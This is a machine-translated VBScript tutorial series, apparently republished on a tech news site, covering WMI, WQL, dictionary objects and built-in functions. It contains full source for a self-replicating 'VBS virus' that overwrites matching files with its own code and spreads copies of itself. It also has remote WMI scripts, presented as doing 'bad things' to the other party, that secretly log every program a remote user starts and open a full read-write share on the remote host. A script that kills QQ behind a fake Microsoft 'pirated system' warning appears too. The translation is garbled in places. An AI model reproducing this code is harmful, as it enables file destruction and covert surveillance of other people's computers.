4. WQL, the query language of WMI, is only a subset of ANSI SQL and can only be used for data extraction.

The basic syntax for data and event queries is:

Select pro1, pro2, pro3 from myclass (myclassevent)

For example: Select name, path from Win32_share description: list the names and paths of all shares

You can also use the wildcard character *, for example: Select * from Win32_share

The keyword Where is used to limit the scope of the query.

For example: Select * from Win32_share where name= "Admin"

5. Three steps used in the WMI script

Step 1: connect to the WMI service

In any WMI script, the first step is to establish a connection to the Windows management service on the target computer. The method is to call the Getobject function of VBScript and pass the name of the moniker of the WMI script library (that is, "winmgmts:" followed by the name of the target computer) to Getobject and return a reference to an object. At this point, you can call the methods it provides, such as: InstancesOf, and as the method name suggests, InstancesOf returns all instances of the managed resource identified by the resource's class name.

Step 2: retrieve an instance of a WMI managed resource

It is generally realized by WQL.

Step 3: display the properties of the WMI managed resource

The final step is to enumerate and retrieve the contents of the collection. Generally adopted

For each enum in myclass

……

Next structure to implement.

6. WMI tester (wbemtest.exe) verifies the result of script execution

Now that you have some understanding of the tools available for browsing and viewing CIM, let's use the WMI tester (wbemtest.exe) to examine the Win32_Process class definition to retrieve some properties from the process running on your local computer.

1. Open a command prompt, type C:\ > wbemtest.exe, and press Enter to start the WMI tester tool. Note that most of the buttons are disabled on the main WMI tester window, indicating that you are not connected to the WMI at this time.

two。 Click the Connect button to connect to the WMI service on your local or remote computer. Displays the connection dialog box, which provides a text input area marked as a namespace with a default value of root\ default. Change the value of the namespace area to root\ cimv2, and click the connection button in the connection dialog box to return to the main WMI tester window.

3. The namespace identifier in the upper-left corner of the main window should be displayed as root\ cimv2. Notice that all the buttons are now enabled, indicating that you have successfully connected to the WMI on the local host under the current credential environment. Click the enumeration category to open the Superclass Information dialog box.

4. In the Superclass Information dialog box, do not fill in the enter supercategory name area, click the recursion option, and click OK to enumerate all CIM classes defined in the root\ cimv2 namespace.

Note that the class listed at the top of the query results dialog box begins with two underscores. These are system classes. System classes are predefined CIM classes that support internal WMI configuration and operations, such as provider registration, namespace security, and event notification. Now, ignore the system class and scroll down the query results dialog box until you see the class that starts with CIM_. Classes whose names begin with CIM_ are core and public base classes maintained by DMTF. Continue scrolling down until you reach the class that starts with Win32_. Classes whose names begin with Win32_ are Microsoft extension classes that represent Windows-specific managed resources. If this is the first time you have checked the root\ cimv2 namespace, you may want to be familiar with the complete collection of classes in the root\ cimv2 namespace, especially those with the Win32_ prefix.

5. Scroll down the query results dialog box until you reach the Win32_Process class, and double-click the class name to open the object editor of the Win32_Process dialog box.

6. The object Editor dialog box displays the definition and implementation details (properties and methods) of the selected class. Select the Hide System Properties check box to hide the system properties. The remaining Win32_Process properties represent information that you can retrieve from processes running on a local or remote computer.

Run the following code:

StrComputer = "." Set wbemServices = Getobject ("winmgmts:\\" & strComputer) Set wbemObjectSet = wbemServices.InstancesOf ("Win32_Process") For Each wbemObject In wbemObjectSet WScript.Echo "Name:" & wbemObject.Name & vbCrLf & _ "Handle:" & wbemObject.Handle & vbCrLf & _ "ProcessID:" & wbemObject.ProcessIDNext

7. After running the script, you can use the WIMI tester to verify the results of the script. In the object editor of the Win32_Process dialog box, click Instances. The resulting query results dialog box lists instances of processes running on the computer. Double-click a specified process instance to view the details of that instance.

The thirteenth concise tutorial of Vbs script programming-- 2

WMI Foundation II-prevent guests from running programs you don't want to run

Many people have such experience, just installed the system, let people run some programs you do not want him to run, such as QQ, chat, and download facial expressions, but for a while, rogue plug-ins, viruses, Trojans have been entrenched in your computer, often bear the pain to uninstall this program, but people who do not know very consciously download and install, so that the whole system can not operate normally.

In fact, using the combination of vbs and wmi, so that your computer has the corresponding program installed, others can not run it too easy, now give the code:

On Error Resume Next 'ignores all errors Dim bag,pipe,honker,good Do good=. " 'define as the local computer set bag=getobject ("winmgmts:\\" & good & "\ root\ cimv2")'l connects to the cimv2 namespace set pipe=bag.execquery ("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'"). Look, this is a program that is not allowed to run on my computer. Qq, qqgame, winmine (minesweeping) if you have other programs that are not allowed to run, it's very simple. Add or name=' to the program name of 'for each i in pipei.terminate () msgbox, which you are not allowed to run. "found a pirated system, now has a functional restriction!" & vbcrlf & "Please use genuine software!" "Microsoft Tip" this trip is actually optional, only to avoid doubt that next wscript.sleep 60000 'tests loop every minute

So what should I do if I want to run these programs myself? simply press the three keys of Ctrl+Alt+Del, open the windows task manager, and end the running of the Wscript.exe and wmiprvse.exe processes in the process.

The fourteenth concise tutorial of Vbs script programming

Working with dictionary objects

There is a special object in VBS-dictionnary, which is a collection object. In general, I think of this special collection as an array, in which built-in functions can be used to complete basic tasks such as storing and manipulating data. You don't have to worry about which rows the data is in, but use a unique key to access or a database that can only run in memory. There are only two fields: key and item. In use, the field key is the index field.

Set sdict=CreateObject ("Scripting.Dictionary") sdict.add "a", "apple" sdict.add "b", "banana" sdict.add "c", "copy" for each key in sdict.keysmsgbox "key name" & key & "Yes" & "=" & sdict (key) nextsdict.removeall

The script simply defines an instance of the dictionary object sdict, adds three pieces of data, enumerates each piece of data, and finally empties the instance of the object.

Summary of members of the Dictionary object

Properties and description

CompareMode sets or returns the string comparison mode of the key

Count is read-only. Returns the number of key / entry pairs in Dictionary

Item (key) sets or returns the entry value of the specified key

Key (key) set key value

Methods and instructions

Add (key,item) add key / entry pair to Dictionary

Exists (key) returns True if the specified key exists, False otherwise

Items () returns an array of all the entries in the Dictionary object

Keys () returns an array of all the keys in the Dictionary object

Remove (key) deletes a specified key / entry pair

RemoveAll () deletes all key / entry pairs

The fifteenth concise tutorial of Vbs script programming-- 1

One of the VBS built-in functions

Abs function: the absolute value of the number returned.

Array function: returns a variant that contains an array.

Asc function: returns the ANSI character code of the first letter of a string.

Atn function: returns the inverse tangent of the value.

CBool function: returns an expression that has been converted to a variant of the Boolean subtype.

CByte function: returns an expression that has been converted to a variant of a byte subtype.

CCur function: returns an expression that has been converted to a variant of the currency subtype.

CDate function: returns an expression that has been converted to a variant of the date subtype.

CDbl function: returns an expression that has been converted to a variant of a double precision subtype.

Chr function: returns the characters associated with the specified ANSI character code.

CInt function: returns an expression that has been converted to a variant of the integer subtype.

The CLng function; returns an expression that has been converted to a variant of the long subtype.

Cos function: returns the cosine of the angle.

CreateObject function: creates and returns a reference to an "automatic" object.

CSng function: returns an expression that has been converted to a variant of a single precision subtype.

CStr function: returns an expression that has been converted to a variant of a string subtype.

Date function: returns the current system date.

DateAdd function: the date returned has been added with the specified time interval.

DateDiff function: returns the interval between two dates.

DatePart function: returns the specified portion of a given date.

DateSerial function: returns a variation of the date subtype of the specified year, month, and day.

Datevalue function: returns a variant of the date subtype.

Day function: returns the date, with values ranging from 1 to 31.

Eval function: evaluates the expression and returns the result.

Exp function: returns the power of e (the base of the natural logarithm).

Filter function: returns an array with a lower bound of 0 that contains a subset of the string array based on the specified filter criteria.

The Fix function: the integer portion of the number returned.

FormatCurrency function: the returned expression is in currency value format, and its currency symbol is defined in the system control panel.

FormatDateTime function: the returned expression is in date and time format.

FormatNumber function: the returned expression is in numeric format.

FormatPercent function: the expression returned is in percentage format (multiplied by 100), followed by a% sign.

GetObject function: returns a reference to an "automatic" object from a file.

GetRef function: returns a reference to a procedure that can be bound to an event.

Hex function: returns a string that represents the hexadecimal value of a number.

Hour function: returns a number representing the hour, with values ranging from 0 to 23.

InputBox function: explicitly prompt in the dialog box, wait for the user to enter text or click a button, and return the contents of the text box.

InStr function: returns the position where a string first appears in another string.

The InStrRev function; returns the position where one string appears in another string, but from the end of the string.

The second part of VBS built-in function

The Int function: the integer portion of the number returned.

IsArray function: returns the Boolean value, reflecting whether the variable is an array.

IsDate function: returns the Boolean value, reflecting whether the expression can be converted to a date.

IsEmpty function: returns the Boolean value, reflecting whether the variable has been initialized.

IsNull function: returns a Boolean value that reflects whether the expression contains invalid data (Null).

IsNumeric function: returns the Boolean value, reflecting whether the expression can be converted to a number.

IsObject function: returns a Boolean value that reflects whether the expression references a valid "automatic" object.

Join function: returns a string created by concatenating many substrings that contain an array.

The LBound function; returns the minimum valid subscript of the specified dimensional array.

LCase function: the returned string has been converted to lowercase letters.

Left function: returns the specified number of characters at the far left of the string.

Len function: returns the number of characters in a string or the number of bytes required to store a variable.

LoadPicture function: returns the image object. For 32-bit platforms only.

Log function: the natural logarithm of the returned number.

The LTrim function; returns a string with leading spaces removed.

Mid function: returns a specified number of characters from a string.

Minute function: returns the number of minutes, with values ranging from 0 to 59.

Month function: returns the number of months, with values ranging from 1 to 12.

MonthName function: returns a string representing the month.

MsgBox function: displays a message in the dialog box, waits for the user to click the button, and returns a value indicating the button the user clicked.

Now function: returns the current system date and time of the computer.

Oct function: returns a string representing the octal value of the number.

Replace function: returns a string in which the specified substring has been replaced a specified number of times by another substring.

RGB function: returns a number that represents the RGB color value.

Right function: returns the specified number of characters on the rightmost side of the string.

Rnd function: returns a random number.

Round function: returns the specified number of digits, rounded.

RTrim function: returns a copy of the string with trailing spaces removed.

ScriptEngine function: returns a string that reflects the scripting language in use.

ScriptEngineBuildVersion function: returns the compiled version number of the script engine in use.

ScriptEngineMajorVersion function: returns the major version number of the script engine in use.

ScriptEngineMinorVersion function: returns the minor version number of the script engine in use.

Second function: returns the number of seconds. Values range from 0 to 59.

The third built-in function of VBS

Sgn function: returns an integer that reflects the symbol of a number.

Sin function: returns the sine of the angle.

Space function: returns a string consisting of a specified number of spaces.

Split function: returns an one-dimensional array of a specified number of substrings with a lower bound of 0.

Sqr function: the square root of the number returned.

StrComp function: returns a numeric value that reflects the result of a string comparison.

String function: returns a duplicate string of the specified length.

StrReverse function: returns a string in which the order of the characters is the opposite of that in the specified string.

Tan function: returns the tangent of the angle.

Time function: returns a variant of the date subtype that represents the current system time.

Timer function: returns the number of seconds after 12:00 AM at midnight.

TimeSerial function: returns a variant of the date subtype that contains the specified time, minutes and seconds.

Timevalue function: returns a variant of the date subtype that contains time.

Trim function: returns a copy of the string with leading or trailing spaces removed.

The TypeName function: returns a string that provides information about the variant subtype of the variable.

UBound function: returns the largest valid subscript of a specified dimensional array.

UCase function: the returned string has been converted to uppercase letters.

The VarType function returns a numeric value that identifies the subtype of the variant.

Weekday function: returns a numeric value indicating the day of the week.

WeekdayName function: returns a string indicating the day of the week.

Year function: returns a numeric value that represents the year.

Source code analysis of a simple example of vbs virus

Description: the author has made changes to some code. The file is a complete program. After the file is executed, it looks for all files on the hard disk that meet the criteria, forcibly overwrites them (all file data that meets the criteria will be lost), and creates a file with the same file name followed by .vbs. Therefore, please pay attention to set up good test conditions to destroy, do not test others, otherwise, you will bear all the consequences.

Dim folder,fso,foldername,f,d,dc set fso=createobject ("scripting.filesystemobject") set self=fso.opentextfile (wscript.scriptfullname,1) vbscopy=self.readall 'reads the virus body for copying to the file self.close set dc=fso.Drives for each d in dc if d.drivetype=3 or d.drivetype=2 then' check disk type wscript.echo d 'pop-up window Show find drive letter scan (d) end if next lsfile=wscript.scriptfullname 'the script path set lsfile=fso.getfile (lsfile) lsfile.delete (true)' virus delete itself after running (I add it myself) Love bug virus itself does not have this code) sub scan (folder_) on error resume next set folder_=fso.getfolder (folder_) set files=folder_.files for each file in files ext=fso.GetExtensionName (file) 'get file suffix ext=lcase (ext)' suffix name converted to lowercase letter if ext= "mp5" then'if the suffix name is mp5, of course there is no such file, you can modify it here, but note. Please create a file with a corresponding suffix by yourself, preferably with the abnormal suffix set ap=fso.opentextfile (file.path,2,true) 'ap.write vbscopy' to overwrite the file. Be careful to use ap.close set cop=fso.getfile (file.path) cop.copy (file.path & ".vbs") 'create another virus file' file.delete (true) 'delete the original file end if next set subfolders=folder_.subfolders for each subfolder in subfolders' to search other directories scan (subfolder) next end sub

Supplementary readings to the Concise course of Vbs scripting programming-A first look at WMI

Today, I will introduce a friend to you. It is Microsoft Windows Management Instrumentation (WMI). The Chinese name is Windows Management Specification. Since Windows 2000, WMI (Windows Management Specification) has been built into the operating system and has become an important part of Windows system management. So it's easy for people to see it, because we should at least be users of Windows 2000. Below I will describe every detail of it in detail, so that you never know it to like it.

What can WMI do?

WMI can not only get the desired computer data, but also can be used for remote control. Remote control of computers is something that everyone likes. The common practice of many remote monitoring and control software is to run the server-side background program on the remote computer and a client-side control program on the local computer, and realize the remote control of the computer through the collusion of the two programs. The disadvantage of this approach is very obvious, when the server program is turned off, this kind of remote monitoring can not be realized, because there is no insider. The remote monitoring and control realized by WMI does not need to install anything else on the server side at all, so the system turns on the WMI service by default. Specifically, the capabilities of WMI are as follows:

1. Get the hardware and software information of the local and remote computers.

2. Monitor the operation of software and services on local and remote computers.

3. Control the operation of software and services on local and remote computers.

4. Advanced applications.

How do I access WMI?

When we know some of WMI's skills, we already want to know how to know him and take advantage of him. There are many ways to take advantage of WMI. To put it simply, there are three ways:

1. Realize common query and operation through various tools provided to us by Microsoft. It mainly includes the WMIC under the command prompt, and the WMI TOOL provided by Microsoft. You can download it from Microsoft's website for free. Of course, I can also provide it to you for free.

2. Write your own scripts to achieve more flexible operations. To be really flexible and practical, familiarity with WSH scripts is necessary. Of course, it doesn't matter if you are not familiar with it. I will explain it in detail later.

3. Access and operate it by writing our own program. Any language is fine. It's easier to use .NET programs, and it's more complicated to use VC, etc. At least that's what I think.

4. Another way to access it is to go to one of its nests. Everything in the C:\ WINDOWS\ system32\ wbem directory is closely related to it. There are logs and tools, and you can find a lot of answers in it. However, these things are generally not suitable for our novice to play, feeling a little scary.

Our mission today?

Today we have five tasks:

Task 1: use WMIC to list all processes on the remote computer.

Task 2: use WMIC to shut down the local process.

Task 3: save the process information of the remote host in a web page through WMIC

Task 4: use scripts to monitor each other's processes in real time

Task 5: use scripts to open sharing to each other

Check and monitor the progress, kill the process, and finally give each other a share. Our friend is about to do all the bad things. Once we understand our mission, we can hit the road. This time we will mainly use WMIC and scripts to accomplish our task, so we will mainly explain it in two parts. In the actual combat of the five tasks, we will understand it more deeply. It doesn't matter if there is no foundation. I will try my best to explain all the so-called foundations so that you can easily communicate with this friend.

The first part: using WMIC to know WMI.

WMIC is short for Windows Management Instrumentation Commandline. WMIC extends WMI and provides support for system administration from command line interfaces and batch command scripts. Provides a powerful and friendly command line interface for WMI namespaces. With WMIC,WMI, it becomes approachable.

Executing the "WMIC" command starts the WMIC command line environment. The first time you execute the WMIC command, Windows first installs WMIC and then displays a command line prompt for WMIC. At the WMIC command line prompt, the command is executed interactively. If you don't know how to interact with it, please hit "/?" and read all the instructions carefully and you will know. WMIC can also run in a non-interactive mode. Non-interactive mode is useful if you want to perform a single-step task or run a series of WMIC commands in a batch command. To use non-interactive mode, simply start WMIC on the same command line and enter the command you want to execute.

1. Task 1: use WMIC to list all processes on the remote computer

This is a very simple task to implement, as simple as you use a DOS command, because we have to step by step, so we have arranged such a warm-up task. Type the following command at the command prompt, and we will see.

WMIC / node:192.168.1.2 / user:net process

Commentary:

1) NODE and USER in the above command are global switches. If you don't want to type your password again, you can also use the PASSWORD switch and write the password after it (WMIC / node:192.168.1.2 / user:net / password:password process). It is important to note that the user name and password here must be administrator level, the other invalid. WMIC provides a large number of global switches, aliases, verbs, commands, and a rich command line to help enhance the user interface. The global switch is an option to configure the entire WMIC session.

2) Process is an alias, executed a Win32_process class WQL query, as for what the WMI class is, if you are interested, find your own information and learn more, if you are lazy, just wait until I have time to explain it to you. Aliases are the middle layer of simplified syntax between users and WMI namespaces. When you specify an alias, the verb (Verb) indicates the action to be performed.

3) if you like, you can add a verb after it, such as LIST FULL (e.g. WMIC / node:192.168.1.2 / user:net / password:password process), so that you can see it more clearly.

Tip: a machine with WMIC installed can be connected to any machine with WMI installed, and the connected machine does not need to install WMIC.

2. Task 2: shut down the local process using WMIC

Executing the following command will close the running QQ. I am relatively timid, so I dare not turn off other people's QQ, so I can only experiment with my QQ. If you have enough IQ and courage, you will soon lock up other people's.

WMIC

Process where name= "qq.exe" call terminate

Commentary:

1) this time we use an interactive method to carry out the task. I won't say much about the specific interface. The picture is much better than I said.

2) Call is also a verb, this verb is powerful, the control class does not use it, it is a general who can call all kinds of methods. Here we call the terminate method. Literally, you can see that it is vicious.

3) Where allows you to query and filter. Find what you want in a super large number of examples. An instance refers to the concrete implementation of each class. Each of the processes seen in the previous example is an instance of WIN32_PROCESS.

3. Task 3: save the process information of the remote host in a web page through WMIC

This task is roughly the same as that in Task 1, which is the strengthening of Task 1. In Task 1, the information is displayed as text. In fact, in addition to the text output, WMIC can return the result of command execution in other forms, such as XML, HTML, or CSV (a comma-delimited text file), as shown in figure 3. We can type in the following command:

Wmic / output:C:\ 1.html / node:192.168.1.2 / user:net process list full / format:hform.xsl

Enter the password: *

Explanation:

1) the global switch OUTPUT indicates where to store this information.

2) the global switch FORMAT indicates which formats to use. As for which formats are available, you can refer to the * .xsl files in the C:\ WINDOWS\ system32\ wbem directory. You don't even care where they come from, just use them. If you look next to each other, you will find what you like.

Part two: using scripts to understand WMI

The tool at the command prompt is really easy to use, but it doesn't show that we are experts, and experts can use programs to achieve their goals. Let's start to use scripts to implement our tasks, which will be more powerful and more flexible.

Whether a script or a real program, to retrieve WMI managed resource information and then query and utilize WMI, you need to follow the following three steps.

1. Connect to the WMI service. Establish a connection to the Windows management service on the target computer.

2. Retrieve the instance of the WMI managed resource. It mainly depends on the task to be performed.

3. Display the properties of an instance of WMI and call its methods.

1. Task 4: use scripts to monitor each other's processes in real time

In Task 1 and Task 3, we are looking at each other's progress, and the result does not mean much to us. In this task, we should detect it every time he opens a task from now on and record it. We have to start reporting and recording the second he starts the process, we need to know the location of the program he opened, and we need to know this information more clearly than he does.

Now let's follow the three steps mentioned above to achieve the task.

First, we connect to each other's WMI. Here we first call Createobject () in VBScript to get an object, and then use the method of this special object to connect to the remote computer. This special object is wbemscripting.swbemlocator.

Set olct=createobject ("wbemscripting.swbemlocator")

Set wbemServices=olct.connectserver (strComputer, "root\ cimv2", strUser,strPwd)

Note that strComputer is the name or IP address of the computer you want to connect to. StrUser,strPwd is of course the user name and password. We said that this user must have administrator privileges. Root\ cimv2 is the namespace of WMI. As for the namespace of WMI, you can see it in "computer Management\ WMI controls". This is a lot of knowledge, and you have to figure it out slowly. I won't explain much for the quick realization of our task. Connect to the WMI in this way and return a reference to the SWbemServices object, once there is a reference to the SWbemServices object. We can proceed to the second step.

In the second step, we will get an instance of the WMI managed resource. Using a method in WbemServices, ExecNotificationQuery, we can query the class we want, and then we can get the instance in that class.

Set colMonitoredProcesses = wbemServices. _

ExecNotificationQuery ("select * from _ _ instancecreationevent" _

& "within 1 where TargetInstance isa 'Win32_Process'")

Notice that there is a query language similar to SQL, which is called WQL. Those who understand SQL will understand it at a glance, and those who do not understand will look for its information on the Internet, all over the sky. The resulting colMonitoredProcesses is a collection of instances of the class being queried. With these, we can begin our third step.

In the third step, we will show the properties in the resulting instance. What we got just now is a collection of instances, where we get each specific instance through colMonitoredProcesses.NextEvent, and after we get each specific instance, we can show their properties, that is, what we want to see. Here we show the property values of CommandLine.

Now whether you are a little confused, because you do not know exactly what classes are in WMI, and what properties the specific classes have, hehe, it doesn't matter, you can easily get this information with some tools. For example, the wbemtest that comes with the system, type in the name of the program during the run, and you can see these, which also follow the three steps of connection, query and enumeration. Play by yourself, you will soon find that WMI is too big, there are more than 10 namespaces alone, and then there are nearly 1000 classes in our commonly used space root\ CIMV2, and there are many attributes in each class, and some classes have many methods. Haha, are you dizzy? It doesn't matter, in fact, you only need to know some of them.

See these estimates your head is already very big, but congratulations, our task has been completed, yes, it is that simple, I will dedicate the complete code below.

Set colArgs = WScript.ArgumentsIf WScript.arguments.count < 3 thenWScript.Echo "USAGE:" & vbCrLf & "Monitor Computer User Password files" WScript.quitEnd IfstrComputer = wscript.arguments (0) strUser = wscript.arguments (1) strPwd = wscript.arguments (2) strFile = wscript.arguments (3) set olct=createobject ("wbemscripting.swbemlocator") set wbemServices=olct.connectserver (strComputer, "root\ cimv2", strUser,strPwd) Set colMonitoredProcesses = wbemServices. _ ExecNotificationQuery ("select * from _ _ instancecreationevent" _ & "within 1 where TargetInstance isa 'Win32_Process'") I = 0Do While I = 0Set objLatestProcess = colMonitoredProcesses.NextEventWscript.Echo now & "& objLatestProcess.TargetInstance.CommandLineSet objFS = CreateObject (" Scripting.FileSystemObject ") Set objNewFile = objFS.OpenTextFile (strFile,8,true) objNewFile.WriteLine Now () &" & objLatestProcess.TargetInstance.CommandLineobjNewFile.CloseLoop

Have you reached the core of this program? I'm sure you've learned a lot about it, and I'll explain the rest of the code later. Let's have a perceptual knowledge first and see how it should be used. Copy the above code into notepad, save it as a monitor.vbs file, and enter at the command prompt:

CSCRIPT monitor.vbs

Enter and you will see help. Here is an example of the specific use of this script:

CSCRIPT monitor.vbs 192.168.1.2 user password C:\ 1.txt

Typing the above command at the command prompt will OK. Every time the other person opens a program, you can see the time, the program path and the program name. If you don't have time to read these messages, you can wait until you have time to go to C:\ 1.txt to see them.

A little knowledge:

Every time you use a script, you have to type in the CSCRIPT and the suffix of the script, which is troublesome. This is because the default execution engine of the system is WSCRIPT, which can be changed to CSCRIPT. Another annoying thing is that Microsoft's instructions are always displayed after the script is executed, as if we didn't write the script. However, you can solve this problem by typing the following command at the command prompt:

Cscript / / nologo / / h:cscript / / s

So that when you run these scripts later, you don't have to type in CSCRIPT or write the suffix name of .vbs. In the above example, you can use:

Monitor 192.168.1.2 user password C:\ 1.txt

Explanation:

1) the first few lines are probably meant to show help and process the parameters we entered later. Applied to the WScript.Arguments object, we can use it to get and process the parameters of the script.

2) that endless cycle is for us to keep an eye on him (her). Every time he opens a program, we get a new example, and we can know more about him. Haha, that's tough enough. In this way, you will know that when our script is run, monitoring can be interrupted only through our artificial abort. We can use CTRL+C to complete the artificial abort method, or we can use various savage methods to abort.

3) another core object that appears in the code is FileSystemObject, which should be an old friend of everyone. I won't explain it here, we apply it here mainly to save the results to a file at the same time, we use it to create or open a file and append the information.

4) as for the NOW, although it is very small, it is it that provides us with the important information of time.

5) if you want to monitor your own computer instead of a remote computer (as far as I know, this application is still very wide). Then please write the parameter of the computer name as a dot and leave the user name and password blank. As follows:

Monitor. " "" C:\ 1.txt

2. Task 5: use scripts to open sharing to each other

With the foundation of Task 4, let's look at the code this time:

Set colArgs = WScript.ArgumentsIf WScript.arguments.count < 5 thenWScript.Echo "USAGE:" & vbCrLf & "Rshare Computer User Password SharePath ShareName" WScript.quitEnd IfstrComputer = wscript.arguments (0) strUser = wscript.arguments (1) strPwd = wscript.arguments (2) strPath = wscript.arguments (3) strShareName = wscript.arguments (4) intMaximumAllowed = 1strDescription = "Temporary share" Const SHARED_FOLDER = 0set olct=createobject ("wbemscripting.swbemlocator") set wbemServices=olct.connectserver (strComputer, "root\ cimv2", strUser StrPwd) Set objSWbemObject = wbemServices.Get ("Win32_Share") intReturnvalue = objSWbemObject.Create (strPath, _ strShareName, _ SHARED_FOLDER, _ intMaximumAllowed, _ strDescription) if (intReturnvalue = 0) ThenWScript.Echo "The share have been created successfully" End If

Commentary:

1) We can see that the previous lines exist to display help and process input parameters.

2) several variables are then set for later use as parameters. We can ignore it here.

3) connect to the WMI of the host, followed by the query. I've already talked about it in great detail.

4) after we get the instance set this time, we use one of its methods, that is, this method makes sharing possible. With regard to the content of the second part, it is not difficult to know that the first parameter represents the path and file name to be shared. The second parameter represents the shared name, the third parameter is 0, the fourth parameter refers to the number of people that can be connected, and the fifth parameter is the shared description. And we only care about the first two parameters. It would be easy if you have MSDN on hand, and you can find more details about this method in MSDN.

5) this time we get whether the sharing is successful according to the return value of step 4, and give a hint. Different return values represent different meanings. This information can be clearly found in MSDN. For example, 0 indicates successful return, 2 denies access, 9 indicates incorrect user name, 25 indicates host name is not found, and so on.

6) what we should note this time is that using this script to achieve remote file sharing requires the file to exist remotely, otherwise it cannot be shared. Of course, you can also use the textbook to create your own folder, it's easy to create your own.

7) the share created by the above script is a full share. It is possible to delete and modify files.

8) usage example: share netp net swswsw C:\ dodo marsh

Well, by now, you should know something about this friend, and my introduction task will come to an end. If you want to know more about it, it mainly depends on your initiative. This time we mainly know it through WMIC and script, next time I will lead you to know it through the real program code, so that it has a pretty face like Windows. The estimate I mentioned today is only 1/10000 of WMI, which is not the tip of the iceberg. It's up to you to play the rest. If you are willing to use what you have learned, then miracles will happen.

Of course, if you want to learn vbs well, you should check some materials:

Here are two addresses that introduce the basic functions, and then you can take a look at other people's code, practice more, and write more.

VBScript VBS user's Manual

Online manual for VBScript tutorials

VBScript language reference Manual

Vbscript Microsoft official reference Manual

VBScript function

At this point, the study of "the advantages and basic knowledge of Vbs" is over. I hope to be able to solve your doubts. The collocation of theory and practice can better help you learn, go and try it! If you want to continue to learn more related knowledge, please continue to follow the website, the editor will continue to work hard to bring you more practical articles!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report